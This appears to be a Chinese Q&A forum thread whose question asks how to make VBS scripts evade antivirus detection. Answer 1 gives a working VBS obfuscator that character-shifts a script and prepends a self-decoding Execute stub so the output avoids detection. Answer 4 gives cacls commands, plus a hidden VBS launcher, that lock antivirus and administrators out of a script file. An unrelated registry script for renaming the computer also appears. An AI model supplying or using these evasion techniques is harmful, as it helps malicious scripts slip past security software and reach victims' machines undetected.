Question

求高手写一个VBS或BAT命令，高手帮忙...

vbs如何免杀，加密过杀毒软件

Answer 1

Dim fso,Re,Wr,inF,ofile,temp1,Num
set fso=Createobject("scripting.filesystemobject")
inF=inputbox("File:")
ofile="fin"&inF
fso.createtextfile(ofile)
Set Wr=fso.opentextfile(ofile,8)
Set Re=fso.opentextfile(inF,1)
Head="Set fso=CreateObject("&Chr(34)&"Scripting.FileSystemObject"&Chr(34)&"):Set Re=fso.OpenTextFile(WScript.ScriptFullName,1):Re.SkipLine():Re.Skip(1):Text=Re.ReadAll:Num = Len(Text):For Tim = 1 To Num:One = Mid(Text, Tim, 1):One = Chr(Asc(One) + 1):Temp = Temp & One:Next:Execute Temp"
Wr.WriteLine(Head)
Wr.Write("'")
Num=Len(fso.opentextfile(inF,1).readall)
for x=1 to Num
temp1=Re.Read(1)
temp1=Asc(temp1)-1
temp1=Chr(temp1)
Wr.Write(temp1)
Next
msgbox "Ok"
保存成VBS，运行，将你要免杀的VBS路径输进去，然后会生成一个fin+文件名的vbs，那个VBS基本上就不会报毒了。

Answer 2

sNewName = ComputerName
sNewName="新计算机名"

Set oShell = CreateObject ("WSCript.shell")

sCCS = "HKLM\SYSTEM\CurrentControlSet\"
sTcpipParamsRegPath = sCCS & "Services\Tcpip\Parameters\"
sCompNameRegPath = sCCS & "Control\ComputerName\"

With oShell
.RegDelete sTcpipParamsRegPath & "Hostname"
.RegDelete sTcpipParamsRegPath & "NV Hostname"

.RegWrite sCompNameRegPath & "ComputerName\ComputerName", sNewName
.RegWrite sCompNameRegPath & "ActiveComputerName\ComputerName", sNewName
.RegWrite sTcpipParamsRegPath & "Hostname", sNewName
.RegWrite sTcpipParamsRegPath & "NV Hostname", sNewName
End With
Msgbox "计算机名称已经修改成功!"& vbcr &"请重新启动计算机确认改动生效!"

这个是VBS的

Answer 3

你这个就我的能力来说，是没法实现的，如果仅用bat的话。

Answer 4

原理，不给杀毒访问权限
cacls.exe可以做到，一般电脑都有
如果没有，网上下一个cacls.exe
命令如下

::D:\test.vbs免杀
cacls "D:\test.vbs" /e /d Administrator Administrators everyone SYSTEM Users

::自身免杀
cacls "%0" /e /d Administrator Administrators everyone SYSTEM Users

::解除
cacls "D:\test.vbs" /e /g everyone:f Administrator:f

'VBS命令插入如下
Dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c cacls D:\test.vbs /e /d Administrator Administrators everyone SYSTEM Users",0 ,true

'空格引号等加转义符